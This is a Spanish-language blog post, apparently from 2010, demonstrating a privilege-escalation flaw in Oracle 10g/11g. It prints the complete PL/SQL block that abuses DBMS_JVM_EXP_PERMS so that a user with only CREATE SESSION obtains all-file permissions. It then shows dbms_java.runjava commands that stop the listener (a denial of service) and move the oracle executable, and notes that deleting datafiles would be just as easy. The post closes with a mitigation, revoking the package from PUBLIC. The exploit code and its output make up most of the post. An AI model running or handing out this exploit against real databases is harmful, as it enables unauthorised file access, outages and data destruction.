Para los que aún no están enterados, se ha hecho pública una vulnerabilidad muy seria para quienes están trabajando con Oracle 10g o superior. Esta vulnerabilidad permite que un usuario con el mínimo privilegio de crear una sesión pueda tener acceso irrestricto a los archivos del servidor en el cual se está ejecutando la base de datos Oracle. Si quieren saber a qué nos estamos enfrentando, a continuación les muestro lo fácil que es ganar estos privilegios, y lo dañino que puede resultar en manos inescrupulosas.
Volviéndose todopoderoso
[oracle@rhel ~]$ sqlplus / as sysdba
SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010
Copyright (c) 1982, 2008, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production
SYS@orcl> create user test identified by test;
User created.
SYS@orcl> grant create session to test;
Grant succeeded.
[oracle@rhel ~]$ sqlplus test/test
SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010
Copyright (c) 1982, 2008, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production
TEST@orcl> DECLARE
2 dummy DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
3 CURSOR c_dummy IS
4 SELECT 'GRANT', USER(), 'SYS', 'java.io.FilePermission',
5 '<<ALL FILES>>', 'execute', 'ENABLED'
6 FROM dual;
7 BEGIN
8 OPEN c_dummy;
9 FETCH c_dummy BULK COLLECT INTO dummy;
10 CLOSE c_dummy;
11 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS( dummy );
12 END;
13 /
PL/SQL procedure successfully completed.
TEST@orcl > exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production
3. Gracias al package DBMS_JVM_EXP_PERMS, el cual tiene permisos de ejecución para PUBLIC, se ha logrado obtener acceso irrestricto a los archivos, tanto de lectura, escritura como de ejecución. Nuevamente nuestros amigos de Java metiéndonos en problemas, jajaja, pero ya bromas aparte, empecemos por un ataque relativamente benigno como detener el listener, lo que sería una forma relativamente simple de lo que es conocido como un ataque del tipo DoS (Denial of Service).
[oracle@rhel ~]$ ps -ef | grep tns | grep -v grep
oracle 7505 1 0 17:45 ? 00:00:00 /u01/app/oracle/11.1.0/db_1/bin/tnslsnr LISTENER -inherit
[oracle@rhel ~]$ sqlplus test/test
SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:50:29 2010
Copyright (c) 1982, 2008, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production
TEST@orcl > select dbms_java.runjava('oracle/aurora/util/Wrapper /u01/app/oracle/11.1.0/db_1/bin/lsnrctl stop') from dual;
DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPER/U01/APP/ORACLE/11.1.0/DB_1/BIN/LSNRCTLSTOP')
----------------------------------------------------------------------------------------------------
TEST@orcl > exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production
[oracle@rhel ~]$ ps -ef | grep tns | grep -v grep
[oracle@rhel ~]$
Con esta acción se está impidiendo la creación de nuevas sesiones al no haber listener que las cree, lo que en la práctica significa que la base de datos ha pasado a estar parcialmente operativa.
4. Desde luego se pueden hacer cosas peores, veamos ahora una acción mucho más destructiva, moveremos de sitio al ejecutable oracle pero bien podría ser su eliminación o la de todo el directorio en el que está instalado Oracle, los datafiles, etc., no hay límites al daño que se puede causar!!!
[oracle@rhel ~]$ ls -la /u01/app/oracle/11.1.0/db_1/bin/oracle
-rwsr-s--x 1 oracle dba 149249171 Feb 2 17:43 /u01/app/oracle/11.1.0/db_1/bin/oracle
[oracle@rhel ~]$ sqlplus test/test
SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:58:45 2010
Copyright (c) 1982, 2008, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production
TEST@orcl> select dbms_java.runjava('oracle/aurora/util/Wrapper /bin/mv /u01/app/oracle/11.1.0/db_1/bin/oracle /tmp/.') from dual;
DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPER/BIN/MV/U01/APP/ORACLE/11.1.0/DB_1/BIN/ORACLE/TMP/.')
----------------------------------------------------------------------------------------------------
TEST@orcl > exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production
[oracle@rhel ~]$ ls -la /u01/app/oracle/11.1.0/db_1/bin/oracle
ls: /u01/app/oracle/11.1.0/db_1/bin/oracle: No such file or directory
[oracle@rhel ~]$ ls -la /tmp/oracle
-rwsr-s--x 1 oracle dba 149249171 Feb 2 17:43 /tmp/oracle
[oracle@rhel ~]$ sqlplus / as sysdba
SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010
Copyright (c) 1982, 2008, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production
SYS@orcl> revoke execute on DBMS_JVM_EXP_PERMS from public;
Revoke succeeded.
SYS@orcl> connect test/test
Connected.
TEST@orcl> DECLARE
2 dummy DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
3 CURSOR c_dummy IS
4 SELECT 'GRANT', USER(), 'SYS', 'java.io.FilePermission',
5 '<<ALL FILES>>', 'execute', 'ENABLED'
6 FROM dual;
7 BEGIN
8 OPEN c_dummy;
9 FETCH c_dummy BULK COLLECT INTO dummy;
10 CLOSE c_dummy;
11 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS( dummy );
12 END;
13 /
ERROR at line 2:
ORA-06550: line 2, column 13:
PLS-00201: identifier 'DBMS_JVM_EXP_PERMS' must be declared
ORA-06550: line 2, column 13:
PL/SQL: Item ignored
ORA-06550: line 9, column 39:
PLS-00320: the declaration of the type of this expression is incomplete or malformed
ORA-06550: line 9, column 7:
PL/SQL: SQL Statement ignored
ORA-06550: line 11, column 43:
PLS-00320: the declaration of the type of this expression is incomplete or malformed
ORA-06550: line 11, column 6:
PL/SQL: Statement ignored
Retirar el privilegio de PUBLIC es una alternativa radical que amerita la realización de pruebas extensas de funcionalidad por cuanto es posible que al retirar este privilegio algo por allí deje de funcionar, es un riesgo que siempre se corre pero no nos quedan muchas alternativas que digamos, mientras tanto habrá que esperar a que Oracle libere algún patch específico a la brevedad, porque esperar al próximo CPU, en abril de 2010, dejaría bastante tiempo disponible para eventuales ataques, así que a tomar medidas preventivas se ha dicho!!!
Update
Linux:
[oracle@rhel ~]$ ls -l /home/oracle
-rw-r--r-- 1 oracle oinstall 45 Feb 9 09:26 /home/oracle/afiedt.buf
Windows
C:\Windows\system32>sqlplus test/test@orcl
SQL*Plus: Release 11.1.0.7.0 - Production on Wed Feb 10 10:50:56 2010
Copyright (c) 1982, 2008, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Release 11.1.0.7.0 - 64bit Production
TEST@orcl> select dbms_java.runjava('oracle/aurora/util/Wrapper /bin/mv /home/oracle/afiedt.buf /home/oracle/afiedt.BUF') from dual;
DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPP
-------------------------------------------
TEST@orcl> exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - 64bit Production
Linux:
[oracle@rhel ~]$ ls -l /home/oracle
-rw-r--r-- 1 oracle oinstall 45 Feb 9 09:26 /home/oracle/afiedt.BUF